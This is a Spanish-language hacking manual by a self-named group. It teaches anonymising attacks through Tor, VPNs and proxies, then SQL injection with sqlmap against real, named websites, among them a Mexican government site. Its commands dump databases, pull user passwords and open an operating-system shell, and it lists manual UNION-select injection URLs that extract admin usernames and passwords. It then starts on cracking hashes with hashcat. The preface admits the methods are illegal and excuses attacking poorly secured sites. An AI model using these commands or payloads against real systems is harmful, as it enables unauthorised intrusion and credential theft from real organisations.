Sei sulla pagina 1di 39

VULNERABILIDAD SQLI EN

APLICACIONES WEB

Hecho y compilado por:


Pure Elite Team.
pureelite@cock.lu
hanom1960@cock.lu Twitter: @hanomlulzsec

Junio de 2016.
Hecho y Compilado por: Pure Elite Team
Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
INDICE
Prefacio 3
Algo de privacidad 4
Que es TOR, su configuración y usos 4-5
Que es una VPN, su configuración y usos 5-7
Que es un Proxy, su configuración y usos 7-8
Que es I2P 8
Que es una vulnerabilidad Web 9
Vulnerabilidad SQLI 10
Como hacer una inyección SQLI 11
SQLI con Sqlmap 11-20
SQLI Manual 21-24
Desencriptación de Hashes 25
Hash-Identifier 26
Hashcat 27-38
Contacto del Team y Links de Referencia 39

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
PREFACIO.
Antes que nada, quiero agradecer a todos los miembros de Pure Elite Team, en
especial a @Anon_cero, por todo ese gran apoyo que me ha brindado en este
proyecto.

El proposito de este manual es explicar a los usuarios la completa inseguridad que


existe hoy día en la red, desde los servidores de las grandes entidades como lo son
multinacionales, gobiernos, etc, hasta pequeñas paginas de microempresas,
hospitales, parques, entre otros. A medida que avanza la tecnologia, las personas
adquieren mas conocimientos y habilidades que les brinda la misma, multiples
campos de la ciencia usan el internet como una de sus principales herramientas. En
este manual se explicara de una manera rapida pero concisa una delas principales
vulnerabilidades en servidores web y la manera de explotarla, asi tambien
explicaremos de manera breve algunas otras tecnicas complementarias que en
conjunto a las anteriores, haran que un ataque sea exitoso. Tambien daré algunas
pautas para mantener la privacidad en ataques y asi ser lo mas “indetectables”
posible.

Como autor no me hago responsable de los daños que se puedan causar colocando en
practica lo que se explica en este manual, aclaro que solo fue hecho con fines
educativos y que lo que se muestra en el manual es real e ilegal, asi que pido
discrección por parte del lector. Por otra parte, este manual esta diseñado para el
Sistema Operativo GNU/Linux Kali y/o derivados de GNU/Linux Debian.

Esta obra puede ser modificada, siempre y cuando se respeten los derechos del autor
y la autoria de la obra. O bajo las condiciones de la GPL (GNU General Public
License) versión 3 o posterior.

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
ALGO DE PRIVACIDAD.
La privacidad es una de las cosas mas importantes para tener en cuenta a la hora de
realizar ya sea un ataque u otro tipo de acciones en la que deseamos una seguridad
extra. Hablando del Internet la privacidad se halla ocultando nuestros datos reales (IP,
Nombres, Direccion, Pais, Geolocalización, etc), en fin, para todas aquellas personas
que quieren entrar a este mundo maravilloso del internet, mi recomendación es: Si
van a estar en contacto con pesonas desconocidas y/o realizando actividades en
internet, mantengan siempre presentes las recomendaciones anteriores y traten en la
mayor parte posible, ocultar los datos mencionados anteriormente.
En este manual me enfocare hacia la privacidad de tu equipo (Dirección Ip, Direccion
MAC), para ello, existe multiples softwares que permiten realizar esto, pero siempre
he dicho que la mejor manera de hacerlo es, sabiendo muy bien lo que haces en la
red. Entre los diferentes tipos de software, los que mejor brindan privacidad son:
TOR (The Onion Router): TOR es un servicio orientado a la comunicación anonima y
para ello usa el protocolo SOCKS5. TOR provee una distribucion de servidores en
red (“Onion Routers”), los cuales realizan conexiones cliente-servidor para ocultar
datos sensibles al servidor con el que tu intentas establecer una conexión. Para la
instalación de TOR, basta con ejecutar este comando en la terminal con privilegios
root: apt-get install tor. El siguiente paso, es configurar el inicio de Daemon TOR,
para que se inicie automaticamente con el arranque del Sitema, para ello usamos en la
terminal: update-rc.d tor enable. Como aun no reiniciamos nuestro Sistema,
necesitamos iniciar el servicio TOR, hacemos esto: systemctl start tor, y ya esta
todo listo para empezar a usar TOR. Por ultimo si queremos asegurarnos que esta
todo correcto, abrimos el siguiente link en nuestro navegador: http://localhost:9050 y
nos debe aparecer esto:

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
Si deseamos configurar nuestro navegador para que use TOR, siempre que hacemos
una conexión, vamos a Configuraciones→ Configuracion Avanzada → Proxy, y lo
configuramos de la manera que se muestra en la imagen. En “No Proxy For”
podemos añadir los sitios a los deseemos ingresar sin usar TOR, la direccion proxy
para TOR siempre es 127.0.0.1 puerto 9050:

VPN (Virtual Private Network): Una VPN es una red de información privada que
hace uso de una infraestructura pública de telecomunicaciones, que conecta diferentes
segmentos de red o usuarios a una red principal, manteniendo la privacidad a través

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
del uso de un protocolo de túnel o aislamiento así como de otras tecnologías que
proveen seguridad. La función principal de una VPN es la de brindar conectividad a
una red, a través de una red pública, brindando la integridad de la información. Una
VPN se basa en un protocolo denominado protocolo de túnel, es decir, un protocolo
que cifra los datos que se transmiten desde un lado de la VPN hacia el otro.

Entre los softwares que proveen este tipo de servicio, me inclino hacia OPENVPN, el
cual es un software que provee un Daemon (Servicio) del tipo VPN. Aclaro que
OPENVPN no es una VPN en sí, sino que, es un robusto y altamente flexible
Daemon para establecer conexiones VPN, teniendo un usuario VPN, esta soporta
diversos tipos de cifrado como lo son: SSL/TLS, Puentes Ethernet, Protocolos TCP
y/o UDP, Proxies y/o NAT, Soporte para direcciones Ip dinamicas y DHCP, y es
portable a la mayoría de Sistemas Operativos. Para instalar OPENVPN, basta con
teclear esto en la terminal con privilegios root: apt-get install openvpn. Una vez
finalizada la instalación basta con escribir en la terminal: openvpn --help. Si todo
salio bien aparecera algo así:

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
OPENVPN establece conexiones usando archivo de formato tipo .ovpn, para mayor
información sobre como usar OPENVPN puedes consultar su pagina web oficial:
http://openvpn.net. Existen muchas otras alternativas que puedes encontrar en
Internet como CyberGhost, Hide My Ass, TorVPN, Privacy Guard, etc. Los mejores
servicios VPN son de pago, no recomiendo usar los gratuitos.

PROXY: Un proxy es un tipo de túnel para encryptar los datos que se transmiten
entre cliente-servidor, un proxy tiene la siguiente forma IP : Puerto, ejemplo:
(134.54.67.896 : 8080), al igual que los mencionados anteriormente, este oculta la
verdadera dirección Ipv4 de la maquina que lo usa. Existen diversos tipos de proxys,
siendo los mas comunes: http, https, ftp, udp, tcp e IRC. Puedes encontrar diversos
tipos de proxys en la pagina web http://www.proxys.org. La manera de configurar un
proxy es la siguiente:

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
I2P: Es quizas el mejor protocolo de encryptación y el que mejor anonimidad brinda,
pero tiene sus desventajas en cuanto al grado de conocimientos requeridos para
configurarlo correctamente y su velocidad. Solo hago una mención a este protocolo
pero no lo explicare a fondo, si deseas saber mas sobre I2P puedes seguir este Link
y/o consultar en su página web oficial http://i2p.net.

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
¿QUE ES UNA VULNERABILIDAD WEB?

Como todos sabemos, ser vulnerable equivale a tener mayores probabilidades de ser
atacado y que nuestro atacante logre causarnos graves daños, desde este mismo punto
de vista lo podemos ver en la red, especialmente en los servidores y aplicaciones
web. Nada en internet es 100% seguro y todo esta sujeto a ser vulnerado. En terminos
claros una vulnerabilidad web es una falla en el desarrollo, ya sea de la aplicación
web, o del codigo usado para generar dicha pagina web, esta falla puede ser usada
para obtener accesos no autorizados a datos confidenciales y/o a manejos ajenos a los
responsables de la pagina, la mayoria de estos fallos se deben a programadores,
tecnicos e ingenieros incompetentes como lo son una gran parte de egresados
universitarios.

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
VULNERABILIDAD SQLI.

Inyección SQLI: Para entender mejor este concepto primero tenemos que saber que
es una consulta SQL y como se forma. Las consultas SQL son sentecias que nos
permiten comunicarnos con un gestor de base de datos. Un ejemplo de esto puede ser:
SELECT * FROM noticias WHERE id = '1'
Esta es la tipica sentencia sql, algunos que hallan trabajado este lenguaje entenderan
esta sentencias, para los que no simplemente lo que hace esta consulta es consultar
todas las columnas de la tabla noticias donde id sea igual a 1. Cual es el fallo de esto.
Cuando se crea una aplicacion web los administradores olvidan el principio de
seguridad sanitizar los datos ingresados por el usuario (NUNCA CONFIES EN LOS
DATOS INGRESADOS POR EL USUARIO SIEMPRE VALÍDALOS).
Para conocer SQL INJECTION hay un principio, malformar las consultas es decir
que las consultas nos arrojen un error, en el ejemplo que tenemos si agregamos una
comilla mas de la que debe contener la consulta nos quedaria:
SELECT * FROM noticias WHERE id = '1''
Lo cual nos mostraria un mensaje de error en la formacion de la consulta para
comprender mejor esto lo realizaremos con una web real. Algo de lo que no estoy de
acuerdo es que la gente piensa que si ingresas a un sitio sin autorizacion o si explotas
un fallo de seguridad y ingresas como administrador es ilegal. Claro que es ilegal
pero te digo que pasa si los administradores de la pagina web son ineptos y no tienen
los conocimientos suficientes de seguridad y tu con tus conocimientos puedes joder
''si quieres'' la pagina web no seria un acto ilegal porque el error esta hay para todos
otra cosa es que tu no seas un usuario normal.

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
COMO HACER UNA INYECCIÓN SQLI

Ya explicada anteriormente, pasamos a ver directamente de que se trata y de los


medios que tenemos para explotarla.

1) El primer paso es reconocer que una pagina web es vulnerable a SQLI. Para esto se
puede usar dorks en “Google”, scripts como INURLSEARCH, o INURLBR, entre
otras muchas, en la mayoria de ocasiones se usa el carácter comilla(‘) o comilla
doble(“) para saber si es vulnerable o no. El aspecto de una web del tipo “php?idt=”
cuando es vulnerable a SQLI es el siguiente:

A partir de este momento cada vez que me refiera a “target” me referire a esta
web vulnerable a SQLI:
http://www.campopotosino.gob.mx/modulos/tecnologiasdesc.php?idt=16

2) Existen dos maneras de explotar un sitio web, manualmente o automaticamente


(Usando tools). Entre las tools para explotar este tipo de vulnerabilidad, destaco
SQLMAP y SQLNINJA. Yo personalmente recomiendo usar la primera. Hacerlo
manualmente muchas veces es mas efectivo que realizandolo con tools, pero es algo
mas avanzado y se requiere ciertos conocimientos sobre SQL para poder realizarlo,
mas adelante lo explicare brevemente.

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
Lo primero que se hace es instalar SQLMAP en tu Sistema Operativo, para esto
puedes usar el gestor de paquetes APT desde una terminal de comando con
privilegios root asi: apt-get install sqlmap. Luego de instalado, verificamos que se
haya instalado satisfactoriamente usando este comando: sqlmap -h. Si todo ha salido
bien, saldra algo como esto en pantalla:

Ya teniendo instalado correctamente SQLMAP procedemos al siguiente paso.

3) El comando mas basico para atacar una web con sqlmap es sqlmap -u “target”
--dbs. Pero siendo conciente del monitoreo y de la pivacidad que debemos tener en
cuenta, usaremos TOR para realizar el ataque, asi que el comando para esto seria el
siguiente: sqlmap --proxy socks5://localhost:9050 -u
http://www.campopotosino.gob.mx/modulos/tecnologiasdesc.php?idt=16 --dbs y
el resultado sera este:

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
Y al final aparecera esto:

4) El siguiente comando, el cual se usa para saber que hay dentro de una base de
datos, tiene el siguiente formato: sqlmap --proxy socks5://localhost:9050 -u
“target” -D DataBase --tables, así como se muestra a continuación:

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
Al final aparecera esto:

5) El siguiente paso es saber que existe en cada una de las tablas que existe en la Base
De Datos, para eso usamos el comando de tipo sqlmap --proxy
socks5://localhost:9050 -u “target” -D DataBase -T Table --columns, como
aparece en la imagen:

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
Al final aparecera algo como esto:

6) Ya sabiendo que columnas existen dentro de la Tabla que elegimos, podemos


dumpear (extraer) todo lo que esta en ellas, o seleccionar solo las que nos interesan,
po ej. user, pass. Este comando tiene el formato: sqlmap --proxy
socks5://localhost:9050 -u “target” -D DataBase -T Tabla -C Columnna --dump,
asi como se muestra en la imagen:

Al final aparecera algo como esto:

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
Tambien existe otra opcion que es --dump-all la cual extrae todo lo que se encuentra
en la DataBase, Tabla o Columna seleccionada. Se usa así:

Y el resultado es el siguiente:

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
Estas son las opciones mas básicas del uso de SQLMAP, en la gran mayoría de
casos, las contaseñas de los usuarios aparecen encriptadas en HASH. Cuando este es el
caso se deben usar otro tipo de tools para el manejo de hash, aunque SQLMAP
incluye una incorporacion de un desencriptador, es mejor usar aquellas tool
especializadas en desencriptación directamente. Mas adelante trataré ese tipo de
tools.

Ya sabiendo el usuario y contraseña admin de un sitio web, podemos ingresar a el


siguiendo la ruta de autenticación que tenga la web (En la mayoría de casos
website.com/admin, /administrator/, /login, /user, etc).

7) SQLMAP incluye otras opciones mas avanzadas, entre las cuales se destacan:
--hostname, --is-dba, --os-shell, --current-db, --users y --passwords. Estas
opciones nombradas anteriormente, se pueden usar directamente usando el formato:
sqlmap --proxy sock5://localhost:9050 -u “target” --opcion, reemplazando
--opcion por una de las opciones anteriores. Ahora explicare de que se trata cada una.

* --hostname : Esta opción nos da como resultado, el nombre de la maquina en la


cual se aloja nuestro website vulnerable. Esto es una infomación adicional que
podemos obtener, pero tambien es muy importante en el caso que queramos hacer una
post-explotacion en la red local del sitio vulnerado como IP-Binding, la sintaxis de
este comando es: sqlmap --proxy socks5://localhost:9050 -u “target” --hostname.
El resultado de este comando es el siguiente:

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
* --is-dba: Esta opción nos da información muy importante, pues nos dice nada mas
ni nada menos, si el usuario con el que estamos ejecutando las sentencias SQL, es
root o no. Esta opcion es de carácter booleano, nos devuelve True en caso de ser
positiva y False en caso de ser negativa. En el caso de que este comando nos muestre
como resultado True, podemos usar la opción --os-shell que se explicara mas
adelante. En fin, un resultado True, en resumidas cuentas nos dice que tenemos
control total sobre la base de datos y el equipo compometido. La sintaxis del
comando es la siguiente: sqlmap --proxy socks5://localhost:9050 -u “target” --is-
dba. Y el resultado que se muestra es el siguiente, lo unico que cambia es el valor
booleano.

* --os-shell: Este comando es usado cuando la opción anterior nos devuelve True, o
en caso de hallar un FPD (Full Path Disclosure) en el sitio web, un FPD es una
vulneabilidad que nos ofrece la posibilidad de subir cualquier tipo de archivo al
sevidor, asi no tengamos pivilegios de root. Al ejecutar exitosamente el comando
--os-shell obtendremos un terminal de comandos dependiendo del Sistema Operativo
en el que se aloja la Web, MSDOS en Windows, Bash en Unix, GNU/Linux, etc. La
sintaxis de este comando es esta: sqlmap --proxy socks5://localhost:9050 -u
“target” --os-shell. El resultado es este:

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
* --current-db: Esta opción nos ofrece como resultado la extracción DBMS de la
DataBase actual. Esto es util para saber de cual Base de Datos son los usuarios que
estamos manipulando. Un ejemplo es aquel en el que el user actual es DBA,
sabriamos que en la base de datos actual se encuentra el admin de la DB. La sintaxis
de este comando es la siguiente: sqlmap --proxy socks5://localhost:9050 -u
“target” --current-db. El resultado de este comando es el siguiente:

* --users: Esta opción nos da como resultado, los usuarios o managers de la Base De
Datos y de la Maquina que estamos explorando. La sintaxis de este comando es la
siguiente: sqlmap --proxy socks5://localhost:9050 -u “target” --users. El resultado
de este comando es el siguiente:

* --passwords: Esta opcion nos imprime el resultado de consultar las contraseñas de


los usuarios mencionados anteriormente. La sintaxis de este comando es la siguiente:

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
sqlmap --proxy socks5://localhost:9050 -u “target” --passwords. El resultado de
este comando es el siguiente:

Con esto finaliza el apartado dedicado a la SQLI mediante el uso de SQLMAP.

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
INYECCIÓN SQLI MANUAL

Ahora hare un breve resumen de como hacerlo manualmente, dando por hecho que ya
tienes el sitio web vulnerable y algunos conocimientos en el lenguaje de
programación SQL. Yo usare este sitio web para la practica:
http://www.ancvm.com/articulo.php?articulo=230

El primer paso es agregar la comilla (‘) al final de la web, asi nos damos cuenta que
es vulnerable por que nos muestra el siguiente mensaje:
You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near ''' at line 1
Muchas veces los sitios web no nos muestran ningún mensaje y esto es porque
probablemente la página no es vulnerable, sin embargo esto no significa que todas las
web que no muestren el mensaje no sean vulnerables a SQLI. Ahora debes estar
preguntandote ¿Si no muestra el error es o no es vulnerable?. Bien, lo explicaré,
muchos administradores no tienen idea lo fácil que es arreglar este bug (SQLi) en su
pagina web, lo que ellos hacen es unicamente agregar una función en PHP para evitar
que se muestren los errores de la web, es un error muy grave que cometen los
webmaster, ni más ni menos, este es el sencillo código PHP que utilizan: <? php
error_reporting(0); ?> Cabe mencionar que es un error muy común por parte de los
administradores, ya que eso no arregla el bug, como se puede ver, lo unico que hace
es cambiar el valor de la función error_reporting a False usando el número 0, de
esta manera evitan que se vean los errores en la página web, pero el error sigue ahí.

Ya nos dimos cuenta como ver si una página web es o no vulnerable, el siguiente
paso es la explotación.

1) Ya tenemos la web vulnerable http://www.ancvm.com/articulo.php?articulo=230


lo siguiente que haremos es agregar un signo menos (-) despues del igual (=) en

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
articulo.php?articulo=230 quedaría así: articulo.php?articulo=-2, luego
agregamos el union y select y empezamos a partir del numero 1 o el numero 0.
* /articulo.php?articulo=-230+union+select+1-- (Muy importante colocar los dos
últimos guiones).
* /articulo.php?articulo=-230+union+select+1,2,3-- (Es importante poner la coma
entre cada numero)

Seguiremos así, hasta que no nos vuelva salir error como el anterior.

Al momento que veas uno o más números en la web y que no haya un error quiere
decir que le hemos dado a la columna vulnerable:

Hay que tener en cuenta también, la versión de la base de datos si es 5.*.* -


comunity se podrán sacar los nombres de las tablas y columnas, si de lo contrario es
inferior a la versión 5, es decir versión 4 no se podrá extraer los nombres de las tablas
y/o columnas, se tiene que hacer a ciegas y es un poco tedioso.
Para saber la versión de la base de datos (SQL) solo agregamos al final de
union+select+1,2,3,4,5 database().

2) Sacando nombre de las Tablas.

Desde la barra de direcciones remplazamos el numero 2 por


group_concat(table_name) debe quedar algo así:

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
/articulo.php?articulo=-
230+union+select+1,group_concat(table_name),3,4,5+from+information_schema
.tables--

También es importante agregar el +from+information_schema.tables-- al final,


después ingresamos esa url y nos da como resultado todos los nombres de las tablas
que existen en la Base de dados.

Hay un pequeño problema, muchas veces el tamaño de la página nos limita a que solo
veamos una cierta cantidad de numero de tablas (Por naturaleza).

Sin embargo, no hay nada que nos impida, pues gracias a una función de SQL
podemos utilizar otra alternativa, en este caso será la opción limit que nos permitirá
limitar el rango de registro, y así poder acceder a la tabla del administrador o la de
usuarios.

En este caso hay que hacer lo siguiente, quitamos group_concat() y solo dejamos
table_name y al final de information_schema.tables agregamos +limit+1,1-- así
quedará la url:

/articulo.php?articulo=-
230+union+select+1,table_name,3,4,5+from+information_schema.tables+limit+1
,1--

Lo cuál nos mostrará el nombre de la primer tabla, es decir, tendremos que buscar la
tabla en donde se encuentra la del admin o la de usuarios. Puedes seguir utilizando
la misma serie de 10 en 10 para que sea más rápido de encontrar la tabla de usuarios,
ya que esta en orden alfabético de la a – z. Ejemplo:

/articulo.php?articulo=-
230+union+select+1,table_name,3,4,5+from+information_schema.tables+limit+1
0,1--

Y así, hasta dar con el nombre de la tabla uno que diga: admin, administrador,
usuarios, users, etc.. (Puede variar los nombres de las tablas y columnas por el
idioma).

Una ves que tengamos el nombre de la tabla que queremos y es en este caso admin
vamos a convertirla en ASCII, para esto existen multipmes herramientas que puedes

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
encontrar aquí. Luego de convertida la cadena admin a ASCII quedará así:

admin = 97 100 109 105 110

3) Extracción de columnas de la tabla.

Ahora modificamos nuestra url algo que quede así (incluyendo admin, pero
convertida en ASCII):

/articulo.php?articulo=-
230+union+select+1,group_concat(column_name),3,4,5+from+information_sche
ma.columns+where+table_name=char(97,100,109,105,110)--

Como resultado nos tendrá que imprimir los nombres de las columnas, por ejemplo:
email, contrasena, usuario, password, etc.

4) Extracción de usuario y contraseña.

Esta parte es la más fácil, ya que lo anterior era lo complicado. Supongamos que ya
sabemos los nombres de la tabla en este caso es admin y las columnas que nos
interesan son usuario y password, ahora hay que extraer los datos de esas dos
columnas y para eso hacemos lo siguiente:

/articulo.php?articulo=-
230+union+select+1,group_concat(usuario,0x3a,password),3,4,5+from+admin--

Con esa simple inyección nos mostrará el usuario y contraseña de la administración.

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
DESENCRIPTACIÓN DE HASHES.

La gran mayoría de veces, cuando ya hemos obtenido el usuario y la password de


un website, esta ultima se encuentra encriptada en un hash. Un hash es un tipo de
cifrado algoritmico mediante el cual se encripta un conjunto de letras y/o numeros, de
manera que no sea entendible a simple vista, un ejemplo de esto es el siguiente:

Texto: s2mMw2y7vt Hash: 17cba18e33a758421b7076ec0b3fde97951a724b

A lo largo de este apartado manejare una lista de hashes y wordlist (lista de


palabras) que yo mismo cree para así ser mas claro en los ejemplos.
Este es un sencillo ejemplo para que entiendan en que consiste un hash, este hash es
de tipo SHA-1. El cifrar las contraseñas en hash es una medida de seguridad que
toman la mayoría de administradores web para brindar una mayor confidencialidad a
sus datos. Pero como todo lo seguro, tiene su contraparte, existen numerosas tools
para el manejo de hashes, entre ellas se destacan Hash-Identifier y Hashcat. Para
instalarlas basta con teclear: apt-get install hash-identifier hashcat.

La primera tool HASH-IDENTIFIER se usa para identificar el tipo de Hash que


estamos tratando, y la segunda tool HASHCAT para desencriptarlo. A continuacion
explicare de que trata y el uso de cada uno.

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
HASH-IDENTIFIER

Como su nombre lo dice, la finalidad de esta tool es identificar el tipo de hash que
deseas desencriptar, esta herramienta soporta todos los tipos de hash conocidos hasta
el momento y es muy eficaz en cuanto a los resultados que brinda. Es primordial
siempre que deseemos trabajar con hashes, pues el primer paso para desencriptar un
hash es saber de que tipo es.

El suo de hash-identifier es muy sencillo, basta con teclear en la terminal hash-


identifier y os aparecera una imagen como la siguiente. En el campo HASH: deben
introducir el hash que desean conocer su tipo.

Al usar esta tool, nos damos cuenta que realmente el hash expuesto al comienzo
(17cba18e33a758421b7076ec0b3fde97951a724b) es un hash de tipo SHA-1.

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
HASHCAT

La familia de software hashcat es un conjunto de herramientas profesionales sin cargo


para lacomunidad. Hashcat está destinado a ser usado LEGALMENTE como una
herramienta para recuperar cadenas de texto plano para una variedad de métodos de
cifrado tales como:
Nota: El numero que aparece frente al tipo de hash, es el numero que se usa
para decirle a HASHCAT que tipo de hash es el que vamos a manipular y se usa
junto a la opcion -m, mas adelante lo explicaré.
* Hash types:
0 = MD5
10 = md5($pass.$salt)
20 = md5($salt.$pass)
30 = md5(unicode($pass).$salt)
40 = md5($salt.unicode($pass))
50 = HMAC-MD5 (key = $pass)
60 = HMAC-MD5 (key = $salt)
100 = SHA1
110 = sha1($pass.$salt)
120 = sha1($salt.$pass)
130 = sha1(unicode($pass).$salt)
140 = sha1($salt.unicode($pass))
150 = HMAC-SHA1 (key = $pass)
160 = HMAC-SHA1 (key = $salt)
200 = MySQL323
300 = MySQL4.1/MySQL5
400 = phpass, MD5(Wordpress), MD5(phpBB3), MD5(Joomla)
500 = md5crypt, MD5(Unix), FreeBSD MD5, Cisco-IOS MD5

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
900 = MD4
1000 = NTLM
1100 = Domain Cached Credentials (DCC), MS Cache
1400 = SHA256
1410 = sha256($pass.$salt)
1420 = sha256($salt.$pass)
1430 = sha256(unicode($pass).$salt)
1431 = base64(sha256(unicode($pass)))
1440 = sha256($salt.unicode($pass))
1450 = HMAC-SHA256 (key = $pass)
1460 = HMAC-SHA256 (key = $salt)
1600 = md5apr1, MD5(APR), Apache MD5
1700 = SHA512
1710 = sha512($pass.$salt)
1720 = sha512($salt.$pass)
1730 = sha512(unicode($pass).$salt)
1740 = sha512($salt.unicode($pass))
1750 = HMAC-SHA512 (key = $pass)
1760 = HMAC-SHA512 (key = $salt)
1800 = SHA-512(Unix)
2400 = Cisco-PIX MD5
2410 = Cisco-ASA MD5
2500 = WPA/WPA2
2600 = Double MD5
3200 = bcrypt, Blowfish(OpenBSD)
3300 = MD5(Sun)
3500 = md5(md5(md5($pass)))
3610 = md5(md5($salt).$pass)
3710 = md5($salt.md5($pass))
3720 = md5($pass.md5($salt))
3800 = md5($salt.$pass.$salt)

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
3910 = md5(md5($pass).md5($salt))
4010 = md5($salt.md5($salt.$pass))
4110 = md5($salt.md5($pass.$salt))
4210 = md5($username.0.$pass)
4300 = md5(strtoupper(md5($pass)))
4400 = md5(sha1($pass))
4500 = Double SHA1
4600 = sha1(sha1(sha1($pass)))
4700 = sha1(md5($pass))
4800 = MD5(Chap), iSCSI CHAP authentication
4900 = sha1($salt.$pass.$salt)
5000 = SHA-3(Keccak)
5100 = Half MD5
5200 = Password Safe SHA-256
5300 = IKE-PSK MD5
5400 = IKE-PSK SHA1
5500 = NetNTLMv1-VANILLA / NetNTLMv1-ESS
5600 = NetNTLMv2
5700 = Cisco-IOS SHA256
5800 = Android PIN
6300 = AIX {smd5}
6400 = AIX {ssha256}
6500 = AIX {ssha512}
6700 = AIX {ssha1}
6900 = GOST, GOST R 34.11-94
7000 = Fortigate (FortiOS)
7100 = OS X v10.8+
7200 = GRUB 2
7300 = IPMI2 RAKP HMAC-SHA1
7400 = sha256crypt, SHA256(Unix)
7900 = Drupal7

